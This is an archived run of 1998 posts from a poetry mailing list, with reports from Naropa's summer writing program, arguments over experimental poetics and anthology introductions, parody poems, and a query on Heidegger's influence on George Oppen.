Will it list the breeze?
Who might take care
or of themselves, outlast?

& the cure for the counter
in counter culture has now
become the fashion of us all.

& a Free Trip to Arlington.

"SHOUTING OUT A WARING" --Peter Seger

Believe all danger has past
either you or they or name

& the body

in the right place or they do the best
you can hope for anonominity

"...to think that all of it exists only because
some of it is possible is simple minded." -Wittgenstein

Is an outside which eliminates space
my side of the train with the other
side of the train; at the same time both

sides of the outside from the inside
of the train. At night there is an ouside
which denies nature with it's glittery ad

lights making the darknenss light &
the lightness darkness impenitrable.

****

Please respond to List, or back-channel:

Douglas Rothschild <<[redacted]>>

Tony Dorhr <<[redacted]>>

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404. **henry**
Re: Call Forth Further Notes to Poetry -Forwarded
Wed 15 Jul 1998

Hey, you poets have got the flat disjunctive incomplete sentence down, which is the main thing by which we experimentalists distinguish between us and them & what poetry is. The poem as something that started someplace else in your head you've already forgotten and gets truncated in order to remember that missing element. Work a little more on the non-rhythm the boredom the feeling of unexplained angst; learn to throw in some plangent multisyllabic non-references from a fairly large dictionary; work on your spatial distances between words and "lines" which are what shows you are a thoughtful alternative poet patted on the head by major people like Olson Creeley Duncan or generic-newyorkbeatlanguagepoet - and they'll put you in an anthology of (Newer) Americans - (the 14th one - from Urban Bleat Press). - Henry Gould

↑ Index

405. **Pritchett,Patrick**
Re: Last Blast from Naropa
Wed 15 Jul 1998

Dear Rachel Levitsky - please post that report about the dog bite - inquiring minds want to know! _I_ happen to know who among the illustrious did sit or nearly sit themselves in a pile of dog shit that terrorized the commons all night under rocket's red glare, etc.

Meanwhile, back at the Fox Theater in Boulder, the All-Star Millennial Vagabond Poet's Troupe was whispering in the wings of last Wednesday. (Packed house. No air conditioning. Ghost of Allen Ginsberg presiding). Steven Taylor began the evening on harmonium with Ginsberg's musical setting of Blake's "On Another's Sorrow." Utterly lovely and haunting. Taylor then read from a delightful series of travel diary poems written while on the road with Ginsberg and Anne Waldman in Israel and Eastern Europe - "snapshot poetics," he aptly called them. Brief, sharply etched tableaux both amusing and poignant. The old master moving in blurred newsreel now. Taylor closed with a fresh, wistful re-translation of Pound's version of Li Po's "The River Merchant's Wife." "If you're coming down the canyon call ahead of time and we will come out to meet you as far as the mailbox."

Joanne Kyger read next, starting with a long poem inspired by a visit to Mexico. Cleverly skirting the margins of cultural tourism, this work was both lyrical paean to the history of the land and its peoples and a critique of that history - witty, ironic and suffused with an underlying melancholy. Following came a sly poem dedicated to Anselm Hollo - "The tree blossomed. This is what happened."

And she closed with a lush homage to Neruda, culled in part from his own _Memoirs_. A tribute to the bard as vatic seer, political activist and master of song.

David Henderson, author of Hendrix bio _Scuse Me While I Kiss The Sky_ and editor of Bob Kaufman's _Cranial Guitar_, read next, beginning with work from his forthcoming _Neo-California_. These poems are exercises in a very precise form of lyrical irony that engages with the topographical and psychological geography of the dystopian paradise that is Northern and Southern California. Henderson's reading also included a biting elegy for slain rapper Biggie Smalls that surveyed the various forms of class and race oppression, the commodification of desire and the general "mass miasma" of our times.

The inestimable Bobbie Louise Hawkins assumed the stage next with all her usual sang froid and panache. Bobbie's first offerings focused with trademark crankiness and humor on the inescapable absurdities of mother-daughter relationships. Next, a meditation on love: its usurpation, and its ennobling tenderness, that requires only a Yes to change a life. Bobbie closed by reading her first story, written after getting stoned in Bolinas in the 70's, a serene and bittersweet remembrance of things Texan. One of her other trademarks emerged here beautifully - the story as cognitive process - not a _something_ to say, but a way to enable a something unknown to be said.

Anne Waldman began her terrific set with a reading from _Iovis II_, a section called "Asia," that led us through the weird carnival nightmare world of the Bangkok sex slave markets. An incredible evocation (and repudiation) of male lust and rapacity - the carnal unyoked from the spiritual, eros sick & run amuck, smacking up against itself in the mirror of thanatos - a tour through the loveless mills of desire, where crimes against women are status quo, the air one breathes. All of this sung, hummed, chanted, and piquantly punctuated by alarming barks and deep moans, the pain of the passage etched in the very sounds, dissonance abutting dissonance, sound become (returned to) the medium of something primordial, unnerving, shamanic, like the sequence of pure vowels Pound claimed were used once to invoke Mithra.

But wait, there's more! Anne followed "Asia" with an elegaic dream poem about Edwin Denby, Katie Schneeman, and her son, the late Elio Schneeman. Then came the rousing "Negative Capability Blues," accompanied soulfully by Marc Miller on sax. A wild, percussive, dionysiac and _funny_ performance. A selection from a work-in-progress, "Marriage - A Sentence," was next - this portion a lyrical ode to childhood, and dedicated to Eamon Taylor, son of Judy Hussie and Steven Taylor. Anne closed with a Buddhist-style chant for Ginsberg, accompanied by Miller on sax and Steven Taylor on harmonium. "No plot, no plot, embrace the stars." The overall effect of dissonant chanting carried great physical

power, opening huge and liberating somatic spaces (i.e. it took the top of my head off).

That ought to have been the climax of the evening. And really, how to top that, much less follow it? But there was more. One wishes there hadn't been. But there was more anyhow. I don't know Ed Sanders, but he sure seems like a heckuva sweet guy and surely is a much loved presence at these gatherings, a much historied person and pioneer-teacher-poet. Ed began his set by recalling his friendship with Janis Joplin. This segued into a rambling poem-song (set to one of my personal bete noirs, home studio pre-recorded music) that covered exactly the same territory of the opening anecdote. Ah, the old double narrative trick, ala Bresson, I thought. Well, no, not exactly. And to tell the truth, Ed really can't sing very well. And the whole piece was, well, in a word, maudlin. But better to risk looking the bardic fool than saying nothing at all. Lament the lyric, commend the courage, pass the Pabst Blue Ribbon.

The evening closed with everyone singing versions from Ed's collection of "Verses for the New Amazing Grace." My favorite (in its entirety) was by William Burroughs - "amazing grace, save my face."

That does it for me from the Naropa Summer Writing Program, 1998. Thanks everybody for your support, disgruntlements, parodies, and very long ears.

Patrick Pritchett

↑ Index

406. Billy Little

Re: Why does this make me want to throw up?

Wed 15 Jul 1998

---

did you go to the white house website johnny? did they lay a cookie on you?

billy little
4 song st.
nowhere, b.c. V0R1Z0

Yeah, I stole from
the treasury
of human folly
I spent it all on you, baby...

don't mention it

Duncan McNaughton

↑ Index

407. joel lewis
recent work
Wed 15 Jul 1998

Recent work of mine can be found at the newly revived NEWARK REVIEW, published by the NewJersey Institute of Technology & edited by Chris Funkhouser. This new issue contains work by fellow Jersey poetry comerados and comeradas Ed Smith, Betsy Robin Schwartz, Bob Rixon and Burt Kimmelman. Check it out at:

megahertz.njit.edu/~newrev/v2s1/21index.html

thanks,

joel lewis

↑ Index

408. Gary Sullivan
Re: Call Forth Further Notes to Poetry -Forwarded
Wed 15 Jul 1998

All work arrives out of & into a particular context ... this work arrives goading reply, baiting negativity, "hello, my pants are down--you like take picture?" ... my primary criticism, then, is not of the work itself but the approach of the post ... cuz, I actually *agree* ... stormy relationships, in which both parties are wholly, actively engaged, are infinitely more colorful, nuanced, & thrilling than the average banter between friendly acquaintances ... & sure, lots of criticism, at least among contemporary avant-gardists (or experimentalists, or whatever) is, basically, no more engaged, or engaging, than the ads for people's workshops you see in Poetry Flash, or the blurbs we stick on the back of our books like souped-up "Hello, My Name Is" stickers ... welcome to the Convention, bay-bay, Robert Creeley & Barbara Guest dig you, natch; now, here's that U-job you ordered, that dead-poet-appreciation-conference-op, that reading w/ Older Morevisible ... but you gotta promise-promise-promise to Always Be Nice ... [holds up Pantone-strip-like swath of fluff; "like anything you see?"] ... at least in print ... & to our faces ...

BUT ... I disagree, finally, that "the most sincere & useful response to work is invariably: Glib, Critical, & Acerbic" ... because ... well ... what if you're being *brilliant*? ... what if I read three lines of your new poem & wanna instantly marry you? (figuratively speaking) (well, usually) ... the problem with this statement is that it, taken wholeheartedly, earnestly, & acted upon, is that, well, it might too easily become REACTIONARY ... like my ugly paragraph above ... & of what value is that? ... I mean, "really"? ...

... at any rate ... I'm not sure that these poems, _because of their context_, are not *meant* to be "bad" ... I find it difficult to enter into any serious engagement with them primarily because, well, for instance, I've been told I can "to our enduring embarrassment, praise them" ... which, in the context of everything else said, doesn't read like false modesty, or even genuine humility. ALSO, and this isn't merely being pedantic, SO MANY of the words in these poems are misspelled, I have no idea, at a certain point, whether something said is meant *as said* ... if that makes sense ... I mean, are the spelling errors the result of laziness? ignorance? or *intention*? ... anyway, I think, if you're a poet, and you're writing your poems down, it's crucial to spell them as you intend them to be spelled ... I mean, it's okay to misspell, if you're grooving down Unintended Lane ... but I sense, here, there's no real reason to prefer "presant" over "present" or "minnarette" over "minaret" or "Resnikoff" over "Reznikoff" or "intricanteness" over "[god only knows]" ? BECAUSE, when I get to:

> Examine the window,
> is it open to the intricanteness of
>
> a provincial capital? ?"

I don't know whether "capital" really should be "capitol" or it's okay as is: a pun. So, meaning is lost, the kind of fun I might be having isn't had, etc., etc. ? and, dang, man, the possessive "it" *never* gets an apostrophe ... its = belonging to it; it's = it is ... & the mistake is made twice, so I'm assuming it's either intended as a "mistake" or the poet doesn't quite have the grasp of English you come to expect of anything in which you're going to invest your time & energy ... anyway, there are so many typos in this thing that, if it's sincere, my response would be, "go through this again; it's not ready yet to be shown" ... & leave it at that ...

... now, Doug, does this mean I'll never read at Zinc? and, Tony, are you *sure* you're not one of Doug's pseudonyms? & listees, will you delete everything I post from now on? ?

? back to, barf, "work,"

Gary

↑ Index

409. **groberts**
Re: Other introductions
Wed 15 Jul 1998

I thank everyone who has repsonded thus far to my post on Caddell and Quartermain's introduction. I hope that the work of these editors will pay off; when

the anthology itself is available, we can congratulate them again for getting it done in the first place. Those who have not yet read the introduction should not be mislead by my first post: the undertaking of these two anthologists is immense and their knowledge of their subject extensive (yet more spatial metaphors).

Mark and Michael's challenges to make my own anthology or write my own introduction are the best initial response to a post such as mine, and if I were to find that same post written by someone else I would want to make the same challenge.

I agree with Mark that a "cognitive realignment" (can I get my tires rotated and brake pads replaced at the same time?), one probably contigent on our acquisition of different economic circumstances for the making and trading of poems, is perhaps needed to enable us to tell some really surprising stories.

I agree with Henry that ideally more anthologies with different organizational logics, or at least logics less overtly loyal to our sociology of poetry, would be a good thing, to the extent that anthologies matter to poetics.

Despite my initial gratitude to Caddell and Quartermain, I still do not think my comments were unwarranted or "nitpicking." For all of its merits, ambition, and self-consciousness, the intro to Other British and Irish Poetry is nonetheless part of a subgenre of prose poetics in our time-- namely the anthology intro-- and this one too uses a rhetoric of contemporaneity characteristic of this subgenre. This rhetoric can and should be read critically from time to time, especially by those who have most to learn from it, and even if it is borrowed from or shared with other poetics subgenres.

It is not so easy to criticize Caddell and Quartermain's introduction. But I find that what are in my opinion some of its least persuasive rhetorical moves are also stimulating me to think about poetics. For example:

1) The version that I have read either puts quotation marks around the word "mainstream," or leaves them off, in a seemingly haphazard way. Whether or not it is intentional, this rhetorical feature is a significant way to allude to/inscribe the provisional quality of a key word of this essay. Its readers should ask themselves, what other ways might there be to thematize or discursively announce doubt about the mainstream/marginal opposition AS A RHETORICAL DEVICE?

2) When these editors conclude of hypothetical readers of "mainstream" poetry that their reading is a kind of "passive consumption," they assume a lot about the act of reading without justifying their indictment. Justifying it would be a worthwhile work of poetics for an introduction to an anthology such as this one.

3) I found the brief look at a "not unrepresentative" mainstream poem to be a missed opportunity. I did not really learn much from the discussion of a mediocre poem by Hugo Williams (who?). Why not for the purpose of contrast use a poem by an expatriate poet perhaps more familiar to readers this side of the Atlantic (if we are the primary audience for this anthology? For me anyway, more sparks would have flown from grinding Thom Gunn or Paul Muldoon against a polemical stone.

All of this has started me thinking about the form of the anthology intro in terms of Derrida's deconstruction of the preface in Dissemination. What is the logical/epistemological/metaphysical status of the introduction and of the names that repose within it? What happens to narrative time when an anthologist places something first that presumably was written last? How does an intro's rhetoric of self-erasure (the intro must end somehow) trace itself onto the anthologized poems? It seems to me that these issues are ones that the anthologist of experimental poetry, who perhaps cannot be other than a prescient ur-reader of posthumous reading, might consider when deploying recognizable rhetorical moves.

Caddell and Quartermain invite us to do more work. I accept their invitation.

Gary R.

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410. **Henry Gould**

***money**

Wed 15 Jul 1998

Hi gang. Now I'm going to tell you about money. Hey wait a minute - you said we said WEDNESDAY, didn't we?? What?? Come back!!!

Money is the inedible sign of real value (labor).

Poetry is the edible sign of possible value (dream).

Experiment, the new, the inexaustible - signs of life, signs indexing the absence of balance - the early modernists became the idols/fetishes of what followed because as post-aristocrats/conservatives they could invest the power of nostalgia with real experience (they had the most toys growing up - also their 19th century was one giant toy).

So the later avant-garde is between rock & hard place, trying to be new in a tradition of (conservatively-rooted) newness -

this is emphatically not a new idea & I bring it up in relation to MONEY -

ie. I think the new century will actually be a socialist century, hard to believe but... not in a military-leninist-class war sense, but in the sense of mankind

growing into the species-sense, the species inheritance - so that "bourgois democracy" will be seen as a building block to social democracy - species-sense or innate sense of common good turning the excesses of 20th century around slowly toward social control of capital on behalf of labor/education/environment values -

this is the pipe dream not of adolescent Beats but of their fathers, the Tom McGraths of the 20th century -

what does have to do with poetry? Dominant styles reflect cultural impulses & forces - the "alternative" poetries, built on an ossified tradition of "resistance" without the umbrella of a wider cultural ("revolutionary") impulse exhibit form hollowed out by ambiguity doubt tentativeness and knee-jerk victimology -

symptoms of fin-de-siecle -

the poem as a sign of labor - universal labor - the labor of birth-pangs - a confidence radiating from it which foliates into "full" forms and relaxed plenitudes - something coming along next year? Buildings -

the old battles of thing/process, content/form, finish/experiment - well, they reflect real divisions in reality - ie. if I was building my own house of course I'd lavish blah blah on it but I'm not building it as an artifact but something to be lived in by somebody else actually -

we will probably have a new/old concept of poetics, poetic form, in which experiment/craft/form are not ends in themselves but means to a broader kind of expression which is the person responding to experience - a kind of dialectic between language-per-se and what it stands toward -

"There is in English what might be called a permanent experiment, which is the effort to get the language of poetry back to a certain hard, immediate actuality, what we are likely to think of as the tone of good common speech." (Lionel Trilling)

- and the poems we will value in the future will not repeat the coming cliches of reality (in the future everyone will understand instinctively and obviously what the common good is, we will need no mouthpieces for the masses) - but will celebrate the weird toys & reactionary flops and sad doodles of the 20th century - in all their melodramatic-tragic stupidity - Robert Lowell will be the favorite poet of the avant-garde because he's so baroque & good with rhythms and was such a WASP son of a bitch - (doesn't that sound like something to look forward to?) (we were studying the "1960s" in history today - what did she say a wasp was again?)

- Henry Gould

↑ Index

411. **ken|n|ing**
Re: bad total
Wed 15 Jul 1998

Jordan,

Being a bit dismayed by the reaction and/or lack thereof to my original posting spurred by my reading of Watten's poem, I appreciate you taking issue of whatever sort . . . As an aside, I'm not particularly pleased with the references section tagged onto the end of the book. After the disclaimer up front, the references (laid out much like a "proper" section of the poem, the heroic couplet driving it all home) would seem to attach a sort of historical valence to the preceeding text which it had shyed away from. But, then I came across this again, perhaps telling of the totalizing trope in Watten in general, from "Plasma"; "But there is another level of complexity to ready-mades. Which gets us home if you talk about poetry. You can say what happens and have it be a part of that."

Patrick F. Durgin

|
|
k e n n i n g``````````````|``````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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412. **Miekal And**
Re: Last Blast from Naropa
Wed 15 Jul 1998

---

patrick

thanks for the reports from naropa, being out in the sticks that's about as close to a poetry reading as I can manage to get. mayhaps something to virtuality after all.

miekal

↑ Index

413. **Jordan Davis**
Re: bad total
Wed 15 Jul 1998

Mm yes. But elsewhere Watten writes (steals?) that Charlie Brown and Felix the Cat are codified gestalts for Little Boy and House Pet.

Is Bad History a codified gestalt for Language Project? Language Moment? (Moment used to mean two minutes.)

Are post-xerox operating systems insidious gestalt generators? I mean any graphic user interface that persuades you that it's normal to retrieve your diskette from the computer by placing it in a trashcan, the logic being that the non-computer world is a giant dump?? I hate windows 95. Anybody got a standard toshiba cdrom driver they can e-mail me? Apparently my machine arrived with it pre-recycled.

What will all this revelation of gestalt lead to?

Revelation? Will we be brought _to our senses_? Or isn't that just another sales pitch. Another nowhere. But then, I can't read the Times, give me any, give me every other paper.

Signed,
Sighed

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414. Christopher W. Alexander

Re: Call Forth Further Notes to Poetry -Forwarded

Wed 15 Jul 1998

ARSE NICOTINE (for henny gould)

or having already been tricked away from the vent.
The spit-phantom of shade or it's former blindness --
smeech of man, a house the mind rescinded in

prelates with a pronoun of its own salvation. Rejoinder
for a moment time has collapsed in. We are thoughts of
elevation that short out in time, skiffing to an edge-
worn in by the wonderous of evidence. wie schön!

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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415. Henry
Re: Call Forth Further Notes to Poetry -Forwarded
Wed 15 Jul 1998

Hey Cal,
this shows a lot of promise. Here's a similar poem I found in an anthology called E-Z OFF ROSES, publ by Urban Bleat in 1997:

HORSE NICHE (for Krissy Laxativity)

or leaving the excrescences.
my thing called name was, and
then - smeeches all around.
It's, or its? Yours?

Tripped up and so on toward
morning dune trappings we shanked
a then or. See it coming and
you won't bark, or, even heard, maybe

- Trent Little

----------Original message---------- ARSE NICOTINE (for henny gould)

or having already been tricked away from the vent.
The spit-phantom of shade or it's former blindness --
smeech of man, a house the mind rescinded in

prelates with a pronoun of its own salvation. Rejoinder
for a moment time has collapsed in. We are thoughts of
elevation that short out in time, skiffing to an edge-
worn in by the wonderous of evidence. wie schön!

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416. Christopher W. Alexander
Re: Call Forth Further Notes to Poetry -Forwarded
Wed 15 Jul 1998

Hen - yes, I'm familiar with Little's work. If you know anything of his milieu, you'll know that he's in dialogue here with Laxativity's haiku-like poem "Horsey

Night", over which they argued furiously at one of their famed Sunday round-tables. (As I recall, she left in a rage, slamming his right index finger in the door; he was never able to type correctly again, a difficulty which lead to his temporary name change to "Dend Liddle" in 1966). "Horsey Night" was later to appear as the first poem in Laxativity's book GODOLPHIN'S MEASURE (Pusillanimity Press, ca. 1967).

HORSEY NIGHT

Here's a tiny love of excresences, a little plan that creeps, Smeechless, into sound. It isn't yours to keep

Tripping until the break of day.

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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417. **Henry g**

Re: Call Forth Further Notes to Poetry -Forwarded

Wed 15 Jul 1998

I'm even more familiar with Little Work. Laxativity & I grew up in the same Minnesota neigh-neigh-neigh-bore-hood with Ro-ro-robert Bl-Bly, & I was privuhledged to be in the locale when "Horsey Night" was underwired. I think Little tape-recorded some of our conversations, in fact, before she blew up & nailed his index - you can find them in the Little Work Archives at Left Overbie U library if you really want to pursue this further than you have pursued it as far as you have so far, I mean. Anyway, Laxative used to rave on intensely about Keats and open form and the biology of meadows and field operational binoculars (Zeiss? Seuss?) and that poetry unfettered was like a horse with wings and here's an early-bird unedited version of "Horsey Night" I just happened to have on hand in my locale here within reach so to speak of my hand:

HORSEY NUT

There is the horseshoe and then there is you.
And my tiny excretion, my fictive live louvered
Hoover fills the vacuum
and is
n't

- you can see how far she took it from this rigid fifties product. - H
----------Original message---------- Hen - yes, I'm familiar with Little's work. If you know anything of his milieu, you'll know that he's in dialogue here with Laxativity's haiku-like poem "Horsey Night", over which they argued furiously at one of their famed Sunday roundtables. (As I recall, she left in a rage, slamming his right index finger in the door; he was never able to type correctly again, a difficulty which lead to his temporary name change to "Dend Liddle" in 1966). "Horsey Night" was later to appear as the first poem in Laxativity's book GODOLPHIN'S MEASURE (Pusillanimity Press, ca. 1967).

HORSEY NIGHT

Here's a tiny love of excresences, a little plan that creeps, Smeechless, into sound. It isn't yours to keep

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418. Elizabeth Treadwell

lit. scene in LA. --Cal-arts/ Moving Bdrs anth

Wed 15 Jul 1998

Todd, when I lived in LA the lit scene seemed to consist of actors thinking they could write a poem for a publicity shoot! As for the Cal-arts kids, I know they have had quite a few group readings at Skylight Books in Los Feliz, a bunch of them attending a reading of mine there last year, etc...I can't complain about them - good listeners and enthusiastic in what i think of as an LA way which may be problematic but is Refreshing. The Bay Area can be a bit dowdy you know. My sis I know attends tons of readings, but she is much more focussed on fiction than I am, and did say she thought the showing for Lynne Tillman at Beyond Baroque was shockingly paltry. What about the fact that the dept puts out a beautiful and well-edited mag? And a lot of their graduates also have been doing art reviews, doesn't that count as dialogue?

And yes, Moving Borders is a great anthology. The introduction gave gobs of historical info I was eager for too.
Eliz

Elizabeth Treadwell
Double Lucy/Outlet
users.lanminds.com/~dblelucy

↑ Index

419. Safdie Joseph
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Wed 15 Jul 1998

Todd, Elizabeth -- it's been many years since I helped run the Wednesday night poetry workshops at Beyond Baroque, but that was really the only "scene" I ever knew, and still is, I suspect. Do you, though, know Holly Prado, Harry Northrup, Bill Mohr (an L.A. mover and shaker if there ever was one), Phoebe MacAdams, Lewis Macadams, Jim Krusoe, Jack Grapes, Amy Gerstler, Dennis Phillips, Paul Vangelisti . . . . well, those were only the people I knew and hung out with, but there were others (Dennis Cooper, of course, before his move to New York) -- but really -- I admit it can seem a bit provincial compared to the Bay Area in terms of poetry, but that's the ONLY contest it loses, isn't it? Which is to say there are . . . compensations, no?

Rolling down the Imperial Highway, big nasty redhead at my side,

Joe

> ----------
> From: toddbaron [SMTP:[redacted]]
> Sent: Wednesday, July 15, 1998 4:52 PM
> To: [redacted]
> Subject: Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
>
> yr right--I'm bitter. But the dialogue I'm interesting in fostering and
> seeing fosater has directly to do with readings! Yes--Beyond Bar. gets
> FEW attendeees for important work while hundreds will show up for a
> reading by Wanda Coleman or Henry Rollins--yeah--rock'roll! THe program
> there does a great job--I'm only bitter about 20 years here trying to
> make things work. LITTORAL BOOKS, RiBOT, WITZ, ReMAp--are about it--and
> poorly said--too much politics keeps folks apart!

I'm reading with Selby down here next week and afraid we'll have 5
people.
Last I read up north there were 40, THat says alot--to me--about the
dialoguae that's active. I wished I'd heard you read! SkyLight seems
interesting--and on teh "other" side of town--which is nice!

Anyway--

Tb

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420. R. Gancie/C.Parcelli
"*simple location*"
Wed 15 Jul 1998

"For the actual difference-along-with-sameness which is found among species is destroyed by the ignoring of difference for the sake of residual identity. The conservation theories of energy, mass, and motion arise out of this same tendency of reason toward identification. In fact, all those assertions of the persistence of enduring, self-identical substances, unscathed by time, which professor Whitehead brings together under the term "simple location," arise out of the urge toward identification operating in human reason. The fallacy of simple location arises from the unchecked tendency of reason toward identification."---from Explanation and Reality in the Philosophy of Emile Meyerson by Thomas R. Kelly

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421. Elizabeth Mathews Losh
Heidegger's Poetics in American Poetry
Wed 15 Jul 1998

Dear List Members -

Sorry to ask so much after such prolonged silence. I am finishing an essay on Heidegger and Oppen and would be interested in feedback or discussion about any of the following three areas.

1) HISTORICAL CONTEXT OF HEIDEGGER RECEPTION IN POETRY PROGRAMS IN SIXTIES (AND SEVENTIES)

I am looking for scholarly texts, archival materials, or personal recollections about Heidegger's presence in the consciousness of American poetry in the

period before the Harper & Row translations of the seventies. In particular, I would like any influence studies for Duncan, Levertov, and especially Oppen. Oppen's personal library was limited to _Being and Time_ and _Existence and Being_ and from his letters I know he was very moved by _Identity and Difference_ to the point of ascribing Yeatsian automatic writing to a particular incident, but I've heard about other texts from poets who knew Oppen (including some on this list) and would appreciate details, especially about materials he sent to other people or readings he suggested.

2) CURRENT ATTITUDES ABOUT TEACHING HEIDEGGER AS PART OF THE POETRY WORKSHOP AND/OR CLASSROOM

Obviously, now there are some who feel that assigning Heidegger to their students is like assigning them passages of _Mein Kampf_ to read, but others on the list seem to be either methodically teaching Heidegger as part of twentieth century poetry theory or at least providing some Heideggerian tenets as inspiration. If you tackle Heidegger, how do you teach Heidegger and what texts do you chose?

3) THOUGHTS ON HOW HEIDEGGER'S CRITIQUE OF METAPHYSICS MIGHT APPLY IN THE CLASSROOM.

My current position, toward which I invite debate, is that Heidegger may be best used in the poetry classroom not as a tool for talking about grand abstracts like the poet's relationship to the ineffable and the problem of the unnameable, but for very practical reasons related to his critique of metaphysics. To make this manageable (and most relevant to close readings of Oppen) I am looking at just two parts of his critique of metaphysics: 1) Heidegger's attack on metaphor as a metaphysical construct and 2) Heidegger's attack on the subject/object relation as it is expressed in terms of grammatical person. I welcome comments or suggestions.

Best,

Liz

↑ Index

422. **Jordan Davis**
the poetics of importance
Wed 15 Jul 1998

Todd --

I think I've found the problem -- there is no end to the poetics of importance -- not that anybody wants to be unimportant -- or is --

Jodfwr

↑ Index

423. **Lawrence Upton.**
vispo book - writers forum 750th publication
Wed 15 Jul 1998

---

to all in or interested in the planned 750th publication from writers forum slightly delayed and we are in touch with those associated with the *slight problems causing the delay - but we *shall see it out in the autumn... further announcements then

many thanks to all for all their work please be patient

btw the working title _vispo book_ has now *probably become _visible utterance?_ but the sub title is not yet settled

Bob Cobbing / Lawrence Upton

↑ Index

424. **shemurph**
Re: Heidegger's Poetics in American Poetry
Wed 15 Jul 1998

Liz and others involved in this dialogue -

I am very interested in the findings and various pieces available on this topic, so please keep some of them on the list, so others can follow!

Will look forward to your article, Liz.

Sheila Murphy

↑ Index

425. **Pritchett,Patrick**
Re: The Real Last Blast from Naropa
Wed 15 Jul 1998

Great report in all particulars, girlfriend. I have a feeling that that is the same sassy little dog that ruined somebody's blanket with its voluminous excrement. Which the distinguished wife of a distinguished foreign poet subsequently lay in unawares as the light was failing. And which a distinguished poet from Naropa herself very nearly sat in. As in your case, the owner of the beast maintained a studied (or is that stoned?) obliviousness as to her responsibility.

Patrick

↑ Index

426. **Rachel Levitsky**
Re: The Real Last Blast from Naropa
Wed 15 Jul 1998

Patrick--

You didn't mention that compelling David Henderson line about the fags invading Boystown, how did it go? Eileen Myles, Akilah Oliver and I were discussing our confusion and I decided it was a persona, in the poem,ya know?

That was Thursday before the clarity of the following emerged at the Final Friday Panel of Workshop Presentations.

These are the events as I remember them:

Almost all the teachers cme to the questioner's mike to recap their workshops, a new convention, up till then they've sat behind the long table. Very democratizing. Eileen Myles hadn't back from the airport where she'd gone to pick up novelist Karen Cook so Anne Waldman pressed Diana Rickard to come up and report, "get your butt up there you're an MFA student." Victor Hernandez-Cruz gave a long schpiel about this and entertaining that "we all know that poetry is much harder than prose and will last longer, because every word matters," pleasing or pulleeeese. Eileen comes back! Anne invites her to speak her mind--refering apparantly to an earlier exchange. Eileen says, in Allen's absence, Naropa is missing the 'queer light' that he shed,(give her this, that to say anything about Allen at Naropa one must eulogize) and that she'd been noticing an erasure of queerness at Naropa, despite the historical & present queer presence in the avant garde tradition, there is a constant 'straightening' so to speak, witness the failure to write Eileen into the cannon (she is not at all taught at Naropa) and we all, queer, bi, transgendered, straight must be activist in "queering the avant garde."

That's more or less how she put it.

No sooner did the last word leave her mouth and David Henderson chimes in with non-sequiter, "Bob Kaufman was a heterosexual," and then adds, "a black heterosexual," as though this addresses what Eileen has just said. Anselm Hollo brilliantly chimes, "and Jewish and Chinese." And Max Regan appears, reminds Anne Waldman that she too has taught a workshop and Anne jokes, "oh that's right, we let our staff teach," an inside joke based on a visitor's comment. Max, a known lesbian, goes to the mike and says "in my workshop we never discussed homosexuality," which seems like it is an inside joke to the folks who took her workshop but to me just sounds like further burial of what Eileen had just asserted, sort of the opposity of "make it new" on the lines of 'if it's new and feels threatening, make it go away.' Then Max, who is also the administrator, begins to throw animal crackers to those who have worked for the writing

program and as I run up for mine, a dog bites my ass. I thought someone had pinched me hard and don't realize what really happened until I hear someone else say it, that the dog bit me. I turn to ___, the dog's owner and I'm pissed because it hurts and what the fuck do I know about dog bites, and ___'s totally out of it. I say, "Your dog bit me, I don't like to be bitten by a dog." "I'm sorry, I don't know what to say, he's not like that, he must've been startled by your sudden movement." I say, "Aren't you going to discipline him?" And ____ says, "I don't hit him." "Can't you tell him -no-?" I return from the library bathroom having examined my butt, she's never left her seat--events have continued along. Hours later, a fellow student approaches me, says "Rachel, I heard you got bit, I heard you really freaked out and wanted _____ to hit the dog."

No wonder the avant garde resists its queering.

↑ Index

427. **Rachel Levitsky**

Re: Poetix programs

Wed 15 Jul 1998

I'd meant to send this a few days ago but it accidentally went to ToddBaron.

Mark and Todd et al,

One: a correction: since Mark graduated there is a 3 credit "contemplative" requirement, which I think, more than make Naropa vaguely "spiritual" makes it directly parochial, a feeling I have had all along here. All the contemplative courses which fill the requirement have to do with some form of buddhist practice. I took what I hoped to be a theater class called "Mudra Space Awareness" and found it total quackery, a waste of my thousand dollars which I would have preferred to spend on an academic class on Buddhism, which would not count to fill the requirement, more about that if anyone is interested. Trungpa, no disrespect intended, seems to me to have been a trickster who was taken too seriously.

Two: Mark's statement that Naropa's writing program favors independence and self-study strikes me as correct. There is not a multi-pronged curriculum as there is at New College. I organized an independent study on Stein with Anne Waldman and three other students. And my thesis on Ashbery served as yet another ind. study. However, Naropa really offers no pre-20th century lit class outside of a new Blake class taught by Reed Bye and since I've been here, in three years worth of catalogs, all the major author class offered have been men: Pound, Blake, Duncan. I believe before I came a conglom "women poets" class was taught. I have felt a serious dearth of crit. reading here with fellow students--that I'm sure changes with each class. Naropa is workshop-focused

with much exposure and much enthusiasm toward reading. Am I the only current Naropa student on this list?

Three: In case I sound too critical. Naropa has its foibles but it's program is run by people truly crazy about poetry and informed and committed to the avant garde or alternative or wateva ya call it, and are supportive of passing on the tradition. The faculty rocks, and what does Anselm Hollo not know about that is interesting? Anne Waldman deserves all the hero-worship she gets. Besides which (I'm adding this today) what Patrick says is true, the pieces she read at the Fox from Iovis 3 knocked me off my seat. Totally urgent and unsentimental.

I hope I didn't just bare myself too much in public.

↑ Index

428. **Laura E. Wright**
Re: Poetix programs
Wed 15 Jul 1998

Rachel Levitsky wrote:

> *Mark and Todd et al,*
>
> *One: a correction: since Mark graduated there is a 3 credit "contemplative" requirement, which I think, more than make Naropa vaguely "spiritual" makes it directly parochial, a feeling I have had all along here. All the contemplative courses which fill the requirement have to do with some form of buddhist practice. I took what I hoped to be a theater class called "Mudra Space Awareness" and found it total quackery, a waste of my thousand dollars which I would have preferred to spend on an academic class on Buddhism, which would not count to fill the requirement, more about that if anyone is interested. Trungpa, no disrespect intended, seems to me to have been a trickster who was taken too seriously.*
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> *Am I the only current Naropa student on this list?*
>
